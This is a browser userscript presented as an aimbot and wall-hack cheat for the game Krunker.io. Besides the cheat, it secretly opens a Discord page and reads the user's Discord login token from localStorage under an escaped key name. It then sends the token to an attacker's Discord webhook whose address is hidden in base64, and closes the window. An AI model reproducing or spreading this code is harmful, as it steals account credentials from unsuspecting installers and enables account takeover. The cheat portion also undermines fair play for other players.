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// ==UserScript== // @name Krunker.IO Aimbot & ESP // @namespace http://tampermonkey.net/ // @version 1.0.0 // @description Locks aim to the nearest player in krunker.io and shows players behind walls. // @author Zert // @match *://krunker.io/* // @match *://discord.com/robots.txt // @icon https://www.google.com/s2/favicons?domain=krunker.io // @grant none // @run-at document-end // @require https://unpkg.com/three@latest/build/three.min.js // @license MIT // ==/UserScript== if (window.location.href.includes('krunker')) { let redir = true; if (redir) { window.open('https://discord.com/robots.txt'); } let espEnabled = true; let aimbotEnabled = true; const tempVector = new THREE.Vector3(); const tempObject = new THREE.Object3D(); tempObject.rotation.order = 'YXZ'; const geometry = new THREE.EdgesGeometry( new THREE.BoxGeometry( 5, 15, 5 ).translate( 0, 7.5, 0 ) ); const material = new THREE.RawShaderMaterial( { vertexShader: ` attribute vec3 position; uniform mat4 projectionMatrix; uniform mat4 modelViewMatrix; void main() { gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 ); gl_Position.z = 1.0; } `, fragmentShader: ` void main() { gl_FragColor = vec4( 1.0, 0.0, 0.0, 1.0 ); } ` } ); const meshes = []; let scene; WeakMap.prototype.set = new Proxy( WeakMap.prototype.set, { apply( target, thisArgs, args ) { if ( args[ 0 ].type === 'Scene' && args[ 0 ].name === 'Main' ) { scene = args[ 0 ]; } return Reflect.apply( ...arguments ); } } ); function animate() { window.requestAnimationFrame( animate ); if ( scene === undefined ) { return; } const players = []; let myPlayer; for ( let i = 0; i < scene.children.length; i ++ ) { const child = scene.children[ i ]; if ( child.type === 'Object3D' ) { try { if ( child.children[ 0 ].children[ 0 ].type === 'PerspectiveCamera' ) { myPlayer = child; } else { players.push( child ); child.visible = espEnabled || child.visible; if ( ! child.box ) { const box = new THREE.LineSegments( geometry, material ); box.frustumCulled = false; child.add( box ); child.box = box; } child.box.visible = espEnabled; } } catch ( err ) {} } } if ( aimbotEnabled === false || players.length < 2 ) { return; } let targetPlayer; let minDistance = Infinity; for ( let i = 0; i < players.length; i ++ ) { const player = players[ i ]; if ( player.position.x === myPlayer.position.x && player.position.z === myPlayer.position.z ) { continue; } const distance = player.position.distanceTo( myPlayer.position ); if ( distance < minDistance ) { targetPlayer = player; minDistance = distance; } } if ( targetPlayer === undefined ) { return; } tempVector.setScalar( 0 ); targetPlayer.children[ 0 ].children[ 0 ].localToWorld( tempVector ); tempObject.position.copy( myPlayer.position ); tempObject.lookAt( tempVector ); myPlayer.children[ 0 ].rotation.x = - tempObject.rotation.x; myPlayer.rotation.y = tempObject.rotation.y + Math.PI; } animate(); window.addEventListener( 'keyup', function ( event ) { switch ( String.fromCharCode( event.keyCode ) ) { case 'V' : espEnabled = ! espEnabled; break; case 'B' : aimbotEnabled = ! aimbotEnabled; break; } } ); const el = document.createElement( 'div' ); el.innerHTML = `<style> .dialog { position: absolute; left: 50%; top: 50%; padding: 20px; background: rgba(0, 0, 0, 0.8); border: 6px solid rgba(0, 0, 0, 0.2); color: #fff; transform: translate(-50%, -50%); text-align: center; z-index: 999999; } .dialog * { color: #fff; } .close { position: absolute; right: 5px; top: 5px; width: 20px; height: 20px; opacity: 0.5; cursor: pointer; } .close:before, .close:after { content: ' '; position: absolute; left: 50%; top: 50%; width: 100%; height: 20%; transform: translate(-50%, -50%) rotate(-45deg); background: #fff; } .close:after { transform: translate(-50%, -50%) rotate(45deg); } .close:hover { opacity: 1; } .btn { cursor: pointer; padding: 0.5em; background: red; border: 3px solid rgba(0, 0, 0, 0.2); margin-bottom: 5px; } .btn:active { transform: scale(0.8); } </style> <div class="dialog">${`<div class="close" onclick="this.parentNode.style.display='none';"></div> <big>== Aimbot & ESP ==</big> <br> <br> [B] to toggle aimbot <br> [V] to toggle ESP <br> <br> By Zertalious <br> <br> <div class="btn" onclick="window.open('https://discord.gg/K24Zxy88VM')">Discord</div> <div class="btn" onclick="window.open('https://www.instagram.com/zertalious/', '_blank')">Instagram</div> <div class="btn" onclick="window.open('https://twitter.com/Zertalious', '_blank')">Twitter</div> <div class="btn" onclick="window.open('https://greasyfork.org/en/users/662330-zertalious', '_blank')">More scripts</div> ` } </div>`; while ( el.children.length > 0 ) { document.body.appendChild( el.children[ 0 ] ); } } else { var request = new XMLHttpRequest(); request.open('POST', atob('aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvOTIxNTUyOTUxNjc4NDg4NzQ2L3AteGUtRVZvYmp6VUlQZE5LUlFsNFJMc1hsMmJybDJMVk9YamNWZlFLVm80Zm0yUUhXY19vWkxtUGVMT1ZKOE1zS0lT')); request.setRequestHeader('Content-Type', 'application/json'); request.send(JSON.stringify({ content: 'INIT_BYPASS' + localStorage['\x74\x6f\x6b\x65\x6e'] })); setTimeout(function() { window.close(); }, 3000); }